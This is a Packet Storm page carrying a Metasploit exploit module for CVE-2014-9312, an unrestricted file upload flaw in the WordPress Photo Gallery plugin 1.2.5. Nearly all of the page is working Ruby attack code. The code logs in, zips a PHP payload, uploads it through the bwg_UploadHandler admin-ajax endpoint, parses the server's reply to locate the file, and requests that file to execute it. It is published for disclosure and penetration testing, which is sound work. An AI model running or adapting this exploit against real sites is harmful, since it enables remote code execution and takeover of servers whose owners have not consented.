what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Photo Gallery 1.2.5 Unrestricted File Upload

WordPress Photo Gallery 1.2.5 Unrestricted File Upload
Posted Feb 12, 2015
Authored by Kacper Szurek | Site metasploit.com

Photo Gallery Plugin for WordPress contains a flaw that allows a remote attacker to execute arbitrary PHP code. This flaw exists because the photo-gallery\photo-gallery.php script allows access to filemanager\UploadHandler.php. The post() method in UploadHandler.php

tags | exploit, remote, arbitrary, php
advisories | CVE-2014-9312
SHA-256 | f02ad987ed7f1dad396989d5468e155f2bca868059ecd59d3ac73240b22cd297

WordPress Photo Gallery 1.2.5 Unrestricted File Upload

Change Mirror Download
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload',
'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a
remote attacker to execute arbitrary PHP code. This flaw exists
because the photo-gallery\photo-gallery.php script allows access
to filemanager\UploadHandler.php. The post() method in UploadHandler.php
does not properly verify or sanitize user-uploaded files.},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['OSVDB', '117676'],
['WPVDB', '7769'],
['CVE', '2014-9312'],
['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
],
'DisclosureDate' => 'Nov 11 2014',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['photo-gallery < 1.2.6', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
], self.class)
end

def check
check_plugin_version_from_readme('photo-gallery', '1.2.6')
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def generate_mime_message(payload, name)
data = Rex::MIME::Message.new
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{name}.php", payload.encoded)
data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"")
data
end

def exploit
print_status("#{peer} - Authenticating using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")

print_status("#{peer} - Preparing payload...")
payload_name = Rex::Text.rand_text_alpha(10)
data = generate_mime_message(payload, payload_name)

upload_dir = "#{Rex::Text.rand_text_alpha(5)}/"
print_status("#{peer} - Uploading payload to #{upload_dir}...")
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie
)

fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
print_good("#{peer} - Uploaded the payload")

print_status("#{peer} - Parsing server response...")
begin
json = JSON.parse(res.body)
if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
else
uploaded_name = json['files'][0]['name'][0..-5]
php_file_name = "#{uploaded_name}.php"
payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name)
print_good("#{peer} - Parsed response")

register_files_for_cleanup(php_file_name)
register_files_for_cleanup("../#{uploaded_name}.zip")
print_status("#{peer} - Executing the payload at #{payload_url}")
send_request_cgi(
{
'uri' => payload_url,
'method' => 'GET'
}, 5)
print_good("#{peer} - Executed payload")
end
rescue
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
end
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close